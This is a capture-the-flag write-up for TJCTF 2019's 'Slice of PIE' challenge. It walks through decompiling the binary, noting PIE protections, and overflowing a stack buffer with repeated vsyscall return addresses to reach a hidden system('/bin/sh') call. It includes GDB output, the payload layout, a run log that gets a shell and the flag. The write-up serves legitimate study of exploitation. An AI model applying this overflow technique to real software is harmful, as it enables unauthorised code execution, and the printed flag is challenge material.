Rating: 4.0

# Slice of PIE
Binary

## Challenge

Everyone wants a slice of the PIE... can you get one?

No brute forcing required, but if you really want to fully brute force PIE/libc/stack I wont stop you...

nc p1.tjctf.org 8004

## Solution

***I had a partial solution during the CTF as I was not familiar with PIE-enabled binary files. I only managed to solve this shortly after the CTF has ended.***

#### Decompile the binary

Original decompilation in Ghidra

> [decompiled.c](decompiled.c)

Main function.

undefined8 FUN_00100a34(void){
printf("Length: ");
local_10 = FUN_001009a0; // PLACED ON STACK
local_14 = 0;
__isoc99_scanf(&DAT_00100ba5,&local_14); // "%u"
getchar();
if ((local_14 & 7) == 0) {
printf("Input: ");
FUN_001009b3((ulong)local_14);
}
else {
puts("Bad length");
}
return 0; // 0xb0f
}

The main function asks us to specify number of bytes first, then use `read()` to get our specified number of bytes.

undefined8 FUN_001009b3(int iParm1){
ssize_t sVar1;
undefined local_18 [16];

buffer = local_18;
while (count < iParm1) {
sVar1 = read(0,buffer,(long)(iParm1 - count)); // Returns the number of bytes that were read
count += sVar1;
buffer += sVar1;
}
return 0;
}

From main, we also see there is a convenient function placed on the stack for us...

void FUN_001009a0(void){
system("/bin/sh");
return;
}

We simply need to return to this function.

#### Position-independent executable (PIE)

Using checksec, we see that the executable has PIE enabled. This means that the addresses are randomized every time it is launched.

$ pwn checksec ./slice_of_pie
[*] '/FILES/slice_of_pie'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

Note: by default when debugging in GDB, GDB maintains a [consistent base address between runtime](https://stackoverflow.com/questions/22148084/pie-base-address-is-fixed-in-gdb), but you can turn it off to see the effect of ASLR.

set disable-randomization off

In GDB we can take a look at the starting addresses.

(gdb) info proc mappings
process 7939
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x555555554000 0x555555555000 0x1000 0x0 /FILES/slice_of_pie
0x555555754000 0x555555755000 0x1000 0x0 /FILES/slice_of_pie
0x555555755000 0x555555756000 0x1000 0x1000 /FILES/slice_of_pie
0x7ffff7e0b000 0x7ffff7e2d000 0x22000 0x0 /usr/lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7e2d000 0x7ffff7f73000 0x146000 0x22000 /usr/lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7f73000 0x7ffff7fbe000 0x4b000 0x168000 /usr/lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7fbe000 0x7ffff7fc2000 0x4000 0x1b2000 /usr/lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7fc2000 0x7ffff7fc4000 0x2000 0x1b6000 /usr/lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7fc4000 0x7ffff7fca000 0x6000 0x0
0x7ffff7fd1000 0x7ffff7fd3000 0x2000 0x0 [vvar]
0x7ffff7fd3000 0x7ffff7fd5000 0x2000 0x0 [vdso]
0x7ffff7fd5000 0x7ffff7fd6000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fd6000 0x7ffff7ff4000 0x1e000 0x1000 /usr/lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ff4000 0x7ffff7ffc000 0x8000 0x1f000 /usr/lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x26000 /usr/lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x27000 /usr/lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]

Observing the address start points with a few runtimes, we soon realise vsyscall stays static even if ASLR is enabled. (Additional info on syscall functions: https://filippo.io/linux-syscall-table/)

This is the disassembly of vsyscall. It moves in the syscall number and then returns back.

(gdb) x/5i 0xffffffffff600000
0xffffffffff600000: mov $0x60,%rax
0xffffffffff600007: syscall
0xffffffffff600009: retq
0xffffffffff60000a: int3
0xffffffffff60000b: int3

If you remember our basic buffer overflow and ROP, we know that the stack is as follows

Let's say I want to call functionA(param1, param2) then functionB(void),
I will have this payload:

[Fill array buffer]
[Address of functionA]
[Address of functionB]
[Address of param1]
[Address of param2]

Notice that after returning to functionA, we will return to functionB directly after in the buffer.

Similarly, when we call vsyscall, we will be returning to the next address in the stack. We can make use of this to traverse up the stack until we reach the desired function.

---

Testing in GDB. I did it for a few iterations until I understood how it works.

(gdb) br *(0x0000555555554000+0xb0f)
(gdb) r < my_payload.txt
(gdb) info stack

Hence, our plan of the stack layout is as follows. We can get a shell by overriding the stack with vsyscall until we reach the system function.

[Fill array buffer]
[vsyscall]
...
[vsyscall]
[address of system function]

We can quickly bruteforce the number of vsyscall returns.

# python pie_exploit.py
Trying 1 vsyscall
[+] Opening connection to p1.tjctf.org on port 8004: Done
[*] Switching to interactive mode
Length: [*] Got EOF while reading in interactive
[*] Interrupted

Trying 2 vsyscall
[+] Opening connection to p1.tjctf.org on port 8004: Done
[*] Switching to interactive mode
Length: Input: total 36
dr-xr-xr-x 1 app app 4096 Apr 2 22:23 .
drwxr-xr-x 1 root root 4096 Apr 2 15:50 ..
-r--r--r-- 1 app app 220 Aug 31 2015 .bash_logout
-r--r--r-- 1 app app 3771 Aug 31 2015 .bashrc
-r--r--r-- 1 app app 655 May 16 2017 .profile
-r-xr-xr-x 1 root root 25 Apr 2 22:22 flag.txt
-r-xr-xr-x 1 root root 6136 Apr 2 22:22 slice_of_pie
-r-xr-xr-x 1 root root 74 Apr 2 22:22 wrapper
$ cat flag.txt
tjctf{1snt_vsysc4l1_gr8?}

In this case, with 2 vsyscall returns, we can get a shell.

Reading Resources:

- http://eternal.red/2017/wiki-writeup/
- https://github.com/sixstars/ctf/tree/master/2015/hack.lu/Exploit/hackme/writeup
- https://uaf.io/exploitation/2016/01/31/HackIM-CTF-Sandman-Exploitation-200.html
- https://github.com/Caesurus/CTF_Writeups/tree/master/2017-GoogleCTF_Quals/wiki
- https://github.com/guyinatuxedo/ctf/tree/master/googlequals17/pwn/wiki
- https://github.com/ByteBandits/writeups/tree/master/hack.lu-ctf-2015/exploiting/Stackstuff/sudhackar
- https://nandynarwhals.org/hitbgsec2017-1000levels/
- https://gist.github.com/kholia/5807150
- https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
- http://wapiflapi.github.io/2014/04/30/getting-a-shell-on-fruits-bkpctf-2014/

## Flag

tjctf{1snt_vsysc4l1_gr8?}

Original writeup (https://github.com/zst-ctf/tjctf-2019-writeups/tree/master/Writeups/Slice_of_PIE).